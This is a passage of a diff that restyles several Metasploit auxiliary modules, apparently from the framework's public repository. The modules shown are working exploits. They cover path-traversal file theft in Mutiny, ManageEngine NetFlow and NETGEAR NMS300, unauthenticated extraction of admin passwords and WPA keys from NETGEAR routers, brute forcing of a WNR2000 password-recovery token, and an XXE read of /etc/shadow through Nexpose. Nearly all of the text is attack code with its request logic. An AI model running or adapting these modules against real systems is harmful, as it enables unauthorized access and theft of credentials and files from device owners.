'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
'method' => 'POST',
'cookie' => "JSESSIONID=#{@session}",
'encode_params' => false,
'vars_post' => {
'operation' => 'COPY',
'paths[]' => "../../../../#{file}%00.txt",
'newPath' => "../../../..#{dst_path}"
{
'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),
'method' => 'POST',
'cookie' => "JSESSIONID=#{@session}",
'encode_params' => false,
'vars_post' => {
'operation' => 'COPY',
'paths[]' => "../../../../#{file}%00.txt",
'newPath' => "../../../..#{dst_path}"
}
}
})
)
if res and res.code == 200 and res.body =~ /\{"success":true\}/
if res && (res.code == 200) && res.body =~ (/\{"success":true\}/)
print_good("File #{file} copied to #{dst_path} successfully")
else
print_error("Failed to copy #{file} to #{dst_path}")
end
print_status("Retrieving file contents...")
print_status('Retrieving file contents...')
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "m", ::File.basename(file)),
'method' => 'GET'
})
'uri' => normalize_uri(target_uri.path, 'm', ::File.basename(file)),
'method' => 'GET'
}
)
if res and res.code == 200
store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file)
if res && (res.code == 200)
store_path = store_loot('mutiny.frontend.data', 'application/octet-stream', rhost, res.body, file)
print_good("File successfully retrieved and saved on #{store_path}")
else
print_error("Failed to retrieve file")
print_error('Failed to retrieve file')
end
# Cleanup
@ -111,17 +114,18 @@ class MetasploitModule < Msf::Auxiliary
print_status("Deleting file #{file}")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
'method' => 'POST',
'cookie' => "JSESSIONID=#{@session}",
'vars_post' => {
'operation' => 'DELETE',
'paths[]' => "../../../../#{file}"
{
'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),
'method' => 'POST',
'cookie' => "JSESSIONID=#{@session}",
'vars_post' => {
'operation' => 'DELETE',
'paths[]' => "../../../../#{file}"
}
}
})
)
if res and res.code == 200 and res.body =~ /\{"success":true\}/
if res && (res.code == 200) && res.body =~ (/\{"success":true\}/)
print_good("File #{file} deleted")
else
print_error("Error deleting file #{file}")
@ -129,41 +133,43 @@ class MetasploitModule < Msf::Auxiliary
end
def login
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),
'method' => 'GET'
})
}
)
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
first_session = $1
if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/)
first_session = ::Regexp.last_match(1)
end
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"),
'method' => 'POST',
'cookie' => "JSESSIONID=#{first_session}",
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD']
{
'uri' => normalize_uri(target_uri.path, 'interface', 'j_security_check'),
'method' => 'POST',
'cookie' => "JSESSIONID=#{first_session}",
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD']
}
}
})
)
if not res or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
if !res || (res.code != 302) || res.headers['Location'] !~ (%r{interface/index.do})
return false
end
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
'method' => 'GET',
'cookie' => "JSESSIONID=#{first_session}"
})
{
'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),
'method' => 'GET',
'cookie' => "JSESSIONID=#{first_session}"
}
)
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
@session = $1
if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/)
@session = ::Regexp.last_match(1)
return true
end

View File

@ -7,39 +7,41 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download',
'Description' => %q{
This module exploits an arbitrary file download vulnerability in CSVServlet
on ManageEngine NetFlow Analyzer. This module has been tested on both Windows
and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you
must escape the backslash with a backslash.
},
'Author' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download',
'Description' => %q{
This module exploits an arbitrary file download vulnerability in CSVServlet
on ManageEngine NetFlow Analyzer. This module has been tested on both Windows
and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you
must escape the backslash with a backslash.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2014-5445' ],
[ 'OSVDB', '115340' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Dec/9' ],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_netflow_it360_file_dl.txt' ]
],
'DisclosureDate' => '2014-11-30'))
'DisclosureDate' => '2014-11-30'
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI',
[ true, "The base path to NetFlow Analyzer", '/netflow' ]),
[ true, 'The base path to NetFlow Analyzer', '/netflow' ]),
OptString.new('FILEPATH', [true, 'Path of the file to download', 'C:\\windows\\system.ini']),
])
]
)
end
def run
# Create request
begin
@ -47,17 +49,17 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),
'vars_get' => { 'schFilePath' => datastore['FILEPATH'] },
'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }
})
rescue Rex::ConnectionError
print_error("Could not connect.")
print_error('Could not connect.')
return
end
# Show data if needed
if res && res.code == 200
if res.body.to_s.bytesize == 0
print_error("0 bytes returned, file does not exist or it is empty.")
print_error('0 bytes returned, file does not exist or it is empty.')
return
end
vprint_line(res.body.to_s)
@ -72,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary
)
print_good("File saved in: #{path}")
else
print_error("Failed to download file.")
print_error('Failed to download file.')
end
end
end

View File

@ -8,46 +8,50 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
'Description' => %q{
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
The application has a file download vulnerability that can be exploited by an
authenticated remote attacker to download any file in the system.
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
'Description' => %q{
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
The application has a file download vulnerability that can be exploited by an
authenticated remote attacker to download any file in the system.
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2016-1524'],
['US-CERT-VU', '777024'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
['URL', 'https://seclists.org/fulldisclosure/2016/Feb/30']
],
'DisclosureDate' => '2016-02-04'))
'DisclosureDate' => '2016-02-04'
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, "Application path", '/']),
OptString.new('TARGETURI', [true, 'Application path', '/']),
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
])
]
)
register_advanced_options(
[
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
])
]
)
end
def authenticate
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
'method' => 'POST',
'vars_post' => {
'userName' => datastore['USERNAME'],
@ -61,13 +65,13 @@ class MetasploitModule < Msf::Auxiliary
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
# another admin is logged in, let's kick him out
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' => { 'singleId' => $1 },
'vars_post' => { 'singleId' => ::Regexp.last_match(1) },
'vars_get' => { 'method' => 'loginAgain' }
})
if res && res.code == 200 && (not res.body.to_s =~ /"success":true/)
if res && res.code == 200 && (res.body.to_s !~ /"success":true/)
return nil
end
end
@ -76,9 +80,8 @@ class MetasploitModule < Msf::Auxiliary
return nil
end
def download_file (download_path, cookie)
filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img"
def download_file(download_path, cookie)
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.img'
begin
res = send_request_cgi({
'method' => 'POST',
@ -91,12 +94,12 @@ class MetasploitModule < Msf::Auxiliary
'realName' => download_path,
'md5' => '',
'fileName' => filename,
'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)),
'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)),
'version' => Rex::Text.rand_text_alphanumeric(rand(8..9)),
'vendor' => Rex::Text.rand_text_alphanumeric(rand(4..6)),
'deviceType' => rand(999),
'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)),
'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
},
'deviceModel' => Rex::Text.rand_text_alphanumeric(rand(5..7)),
'description' => Rex::Text.rand_text_alphanumeric(rand(8..17))
}
})
if res && res.code == 200 && res.body.to_s =~ /"success":true/
@ -106,17 +109,17 @@ class MetasploitModule < Msf::Auxiliary
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
'vars_get' => {
'method' => 'getPageList',
'type' => 'configImgManager',
'type' => 'configImgManager'
},
'vars_post' => {
'everyPage' => 500 + rand(999)
},
'everyPage' => rand(500..1498)
}
})
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
image_id = $1
image_id = ::Regexp.last_match(1)
return send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
@ -133,7 +136,6 @@ class MetasploitModule < Msf::Auxiliary
end
end
def save_file(filedata)
vprint_line(filedata.to_s)
fname = File.basename(datastore['FILEPATH'])
@ -150,7 +152,7 @@ class MetasploitModule < Msf::Auxiliary
def run
cookie = authenticate
if cookie == nil
if cookie.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
else
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
@ -164,22 +166,18 @@ class MetasploitModule < Msf::Auxiliary
filepath = datastore['FILEPATH']
res = download_file(filepath, cookie)
if res && res.code == 200
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/))
save_file(res.body)
return
end
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
count = 1
while count < datastore['DEPTH']
res = download_file(("../" * count).chomp('/') + filepath, cookie)
if res && res.code == 200
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
res = download_file(('../' * count).chomp('/') + filepath, cookie)
if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/))
save_file(res.body)
return
end
count += 1
end

View File

@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Netgear Unauthenticated SOAP Password Extractor',
'Name' => 'Netgear Unauthenticated SOAP Password Extractor',
'Description' => %q{
This module exploits an authentication bypass vulnerability in different Netgear devices.
It allows to extract the password for the remote management interface. This module has been
@ -26,119 +26,114 @@ class MetasploitModule < Msf::Auxiliary
NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton),
NetGear WNR2000v3 - v1.1.2.10 (Tested by h00die)
},
'References' =>
[
[ 'BID', '72640' ],
[ 'OSVDB', '118316' ],
[ 'URL', 'https://github.com/darkarnium/secpub/tree/master/Vulnerabilities/NetGear/SOAPWNDR' ]
],
'Author' =>
[
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
'h00die <mike@shorebreaksecurity.com>' # Metasploit enhancements/docs
],
'License' => MSF_LICENSE,
'References' => [
[ 'BID', '72640' ],
[ 'OSVDB', '118316' ],
[ 'URL', 'https://github.com/darkarnium/secpub/tree/master/Vulnerabilities/NetGear/SOAPWNDR' ]
],
'Author' => [
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
'h00die <mike@shorebreaksecurity.com>' # Metasploit enhancements/docs
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Feb 11 2015'
)
end
def run
print_status("Trying to access the configuration of the device")
print_status('Trying to access the configuration of the device')
# extract device details
action = 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'
print_status("Extracting Firmware version...")
print_status('Extracting Firmware version...')
extract_data(action)
# extract credentials
action = 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo'
print_status("Extracting credentials...")
print_status('Extracting credentials...')
extract_data(action)
# extract wifi info
action = 'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo'
print_status("Extracting Wifi...")
print_status('Extracting Wifi...')
extract_data(action)
# extract WPA info
action = 'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys'
print_status("Extracting WPA Keys...")
print_status('Extracting WPA Keys...')
extract_data(action)
end
def extract_data(soap_action)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => '/',
'headers' => {
'SOAPAction' => soap_action,
},
'data' => '='
})
res = send_request_cgi({
'method' => 'POST',
'uri' => '/',
'headers' => {
'SOAPAction' => soap_action
},
'data' => '='
})
return if res.nil?
return if res.code == 404
return if res.headers['Server'].nil?
# unknown if other devices have other Server headers
return if res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/
return if res.nil?
return if res.code == 404
return if res.headers['Server'].nil?
# unknown if other devices have other Server headers
return if res.headers['Server'] !~ %r{Linux/2.6.15 uhttpd/1.0.0 soap/1.0}
if res.body =~ /<NewPassword>(.*)<\/NewPassword>/
print_status("Credentials found, extracting...")
extract_credentials(res.body)
end
if res.body =~ /<ModelName>(.*)<\/ModelName>/
model_name = $1
print_good("Model #{model_name} found")
end
if res.body =~ /<Firmwareversion>(.*)<\/Firmwareversion>/
firmware_version = $1
print_good("Firmware version #{firmware_version} found")
#store all details as loot
loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body)
print_good("Device details downloaded to: #{loot}")
end
if res.body =~ /<NewSSID>(.*)<\/NewSSID>/
ssid = $1
print_good("Wifi SSID: #{ssid}")
end
if res.body =~ /<NewBasicEncryptionModes>(.*)<\/NewBasicEncryptionModes>/
wifi_encryption = $1
print_good("Wifi Encryption: #{wifi_encryption}")
end
if res.body =~ /<NewWPAPassphrase>(.*)<\/NewWPAPassphrase>/
wifi_password = $1
print_good("Wifi Password: #{wifi_password}")
end
rescue ::Rex::ConnectionError
vprint_error("Failed to connect to the web server")
return
if res.body =~ %r{<NewPassword>(.*)</NewPassword>}
print_status('Credentials found, extracting...')
extract_credentials(res.body)
end
if res.body =~ %r{<ModelName>(.*)</ModelName>}
model_name = ::Regexp.last_match(1)
print_good("Model #{model_name} found")
end
if res.body =~ %r{<Firmwareversion>(.*)</Firmwareversion>}
firmware_version = ::Regexp.last_match(1)
print_good("Firmware version #{firmware_version} found")
# store all details as loot
loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body)
print_good("Device details downloaded to: #{loot}")
end
if res.body =~ %r{<NewSSID>(.*)</NewSSID>}
ssid = ::Regexp.last_match(1)
print_good("Wifi SSID: #{ssid}")
end
if res.body =~ %r{<NewBasicEncryptionModes>(.*)</NewBasicEncryptionModes>}
wifi_encryption = ::Regexp.last_match(1)
print_good("Wifi Encryption: #{wifi_encryption}")
end
if res.body =~ %r{<NewWPAPassphrase>(.*)</NewWPAPassphrase>}
wifi_password = ::Regexp.last_match(1)
print_good("Wifi Password: #{wifi_password}")
end
rescue ::Rex::ConnectionError
vprint_error('Failed to connect to the web server')
return
end
def extract_credentials(body)
body.each_line do |line|
if line =~ /<NewPassword>(.*)<\/NewPassword>/
pass = $1
print_good("admin / #{pass} credentials found")
next unless line =~ %r{<NewPassword>(.*)</NewPassword>}
connection_details = {
module_fullname: self.fullname,
private_data: pass,
private_type: :password,
username: 'admin',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
end
pass = ::Regexp.last_match(1)
print_good("admin / #{pass} credentials found")
connection_details = {
module_fullname: fullname,
private_data: pass,
private_type: :password,
username: 'admin',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
end
# store all details as loot

View File

@ -10,47 +10,51 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::CRand
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
'Description' => %q{
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
the value of a certain timestamp which is in the configuration of the router.
Brute forcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
has not been tested.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
'Description' => %q{
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
the value of a certain timestamp which is in the configuration of the router.
Brute forcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
has not been tested.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2016-10175'],
['CVE', '2016-10176'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'https://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'https://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'DisclosureDate' => '2016-12-20'))
'DisclosureDate' => '2016-12-20'
)
)
register_options(
[
Opt::RPORT(80)
])
]
)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
])
]
)
end
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
@ -62,76 +66,75 @@ class MetasploitModule < Msf::Auxiliary
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
def ieee754_round(number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
t1 = 0x17dc65df
hi = (t0 * t1) >> 32
t2 = t0 >> 31
t3 = hi >> 23
t3 -= t2
t4 = t3 * 0x55d4a80
t0 -= t4
t0 += 0x989680
ieee754_round(t0)
end
def get_creds
res = send_request_cgi({
'uri' => '/BRS_netgear_success.html',
'method' => 'GET'
'uri' => '/BRS_netgear_success.html',
'method' => 'GET'
})
if res && res.body =~ /var sn="([\w]*)";/
serial = $1
if res && res.body =~ /var sn="(\w*)";/
serial = ::Regexp.last_match(1)
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
end
# 1: send serial number
send_request_cgi({
'uri' => '/apply_noauth.cgi',
'query' => '/unauth.cgi',
'method' => 'POST',
'uri' => '/apply_noauth.cgi',
'query' => '/unauth.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'match_sn',
'serial_num' => serial,
'continue' => '+Continue+'
'serial_num' => serial,
'continue' => '+Continue+'
}
})
# 2: send answer to secret questions
send_request_cgi({
'uri' => '/apply_noauth.cgi',
'query' => '/securityquestions.cgi',
'method' => 'POST',
'uri' => '/apply_noauth.cgi',
'query' => '/securityquestions.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'security_question',
'answer1' => @q1,
'answer2' => @q2,
'continue' => '+Continue+'
'answer1' => @q1,
'answer2' => @q2,
'continue' => '+Continue+'
}
})
# 3: PROFIT!!!
res = send_request_cgi({
'uri' => '/passwordrecovered.cgi',
'method' => 'GET'
'uri' => '/passwordrecovered.cgi',
'method' => 'GET'
})
if res && res.body =~ /Admin Password: (.*)<\/TD>/
password = $1
if res && res.body =~ %r{Admin Password: (.*)</TD>}
password = ::Regexp.last_match(1)
if password.blank?
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
end
@ -139,8 +142,8 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
end
if res && res.body =~ /Admin Username: (.*)<\/TD>/
username = $1
if res && res.body =~ %r{Admin Username: (.*)</TD>}
username = ::Regexp.last_match(1)
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
end
@ -149,27 +152,27 @@ class MetasploitModule < Msf::Auxiliary
end
def send_req(timestamp)
begin
query_str = (timestamp == nil ? \
'/PWD_password.htm' : \
"/PWD_password.htm%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => '/apply_noauth.cgi',
'query' => query_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
})
return res
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
query_str = (if timestamp.nil?
'/PWD_password.htm'
else
"/PWD_password.htm%20timestamp=#{timestamp}"
end)
res = send_request_raw({
'uri' => '/apply_noauth.cgi',
'query' => query_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
})
return res
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
def run
# generate the security questions
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
@q1 = Rex::Text.rand_text_alpha(rand(2..21))
@q2 = Rex::Text.rand_text_alpha(rand(2..21))
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
@ -185,7 +188,7 @@ class MetasploitModule < Msf::Auxiliary
# get the current date from the router and parse it
end_time = get_current_time
if end_time == nil
if end_time.nil?
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
@ -203,7 +206,7 @@ class MetasploitModule < Msf::Auxiliary
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
# work back from the current router time minus datastore['TIME_OFFSET']
while true
loop do
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
@ -211,12 +214,12 @@ class MetasploitModule < Msf::Auxiliary
print_status("#{peer} - Still working, trying time #{time}")
end
res = send_req(timestamp)
if res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port
return
end
next unless res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port
return
end
end_time = start_time
start_time -= datastore['TIME_OFFSET']

View File

@ -10,37 +10,39 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Nexpose XXE Arbitrary File Read',
'Description' => %q{
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
of vectors. This vulnerability can allow an attacker to a craft special XML that
could read arbitrary files from the filesystem. This module exploits the
vulnerability via the XML API.
},
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported
super(
update_info(
info,
'Name' => 'Nexpose XXE Arbitrary File Read',
'Description' => %q{
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
of vectors. This vulnerability can allow an attacker to a craft special XML that
could read arbitrary files from the filesystem. This module exploits the
vulnerability via the XML API.
},
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ]
],
'DefaultOptions' => {
'SSL' => true
}
))
'DefaultOptions' => {
'SSL' => true
}
)
)
register_options(
[
Opt::RPORT(3780),
OptString.new('USERNAME', [true, "The Nexpose user", nil]),
OptString.new('PASSWORD', [true, "The Nexpose password", nil]),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"])
])
register_options(
[
Opt::RPORT(3780),
OptString.new('USERNAME', [true, 'The Nexpose user', nil]),
OptString.new('PASSWORD', [true, 'The Nexpose password', nil]),
OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/shadow'])
]
)
end
def run
@ -50,27 +52,26 @@ class MetasploitModule < Msf::Auxiliary
nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store)
print_status("Authenticating as: " << user)
print_status('Authenticating as: ' << user)
begin
nsc.login
connection_details = {
module_fullname: self.fullname,
username: user,
private_data: pass,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
module_fullname: fullname,
username: user,
private_data: pass,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
rescue
print_error("Error authenticating, check your credentials")
rescue StandardError
print_error('Error authenticating, check your credentials')
return
end
xml = '<!DOCTYPE foo ['
xml << '<!ELEMENT host ANY>'
xml << %Q{<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">}
xml << %(<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">)
xml << ']>'
xml << '<SiteSaveRequest session-id="'
@ -87,43 +88,43 @@ class MetasploitModule < Msf::Auxiliary
xml << '</Site>'
xml << '</SiteSaveRequest>'
print_status("Sending payload")
print_status('Sending payload')
begin
fsa = nsc.execute(xml)
rescue
print_error("Error executing API call for site creation, ensure the filepath is correct")
rescue StandardError
print_error('Error executing API call for site creation, ensure the filepath is correct')
return
end
doc = REXML::Document.new fsa.raw_response_data
id = doc.root.attributes["site-id"]
id = doc.root.attributes['site-id']
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
print_status("Retrieving file")
print_status('Retrieving file')
begin
fsa = nsc.execute(xml)
rescue
rescue StandardError
nsc.site_delete id
print_error("Error retrieving the file.")
print_error('Error retrieving the file.')
return
end
doc = REXML::Document.new fsa.raw_response_data
print_status("Cleaning up")
print_status('Cleaning up')
begin
nsc.delete_site id
rescue
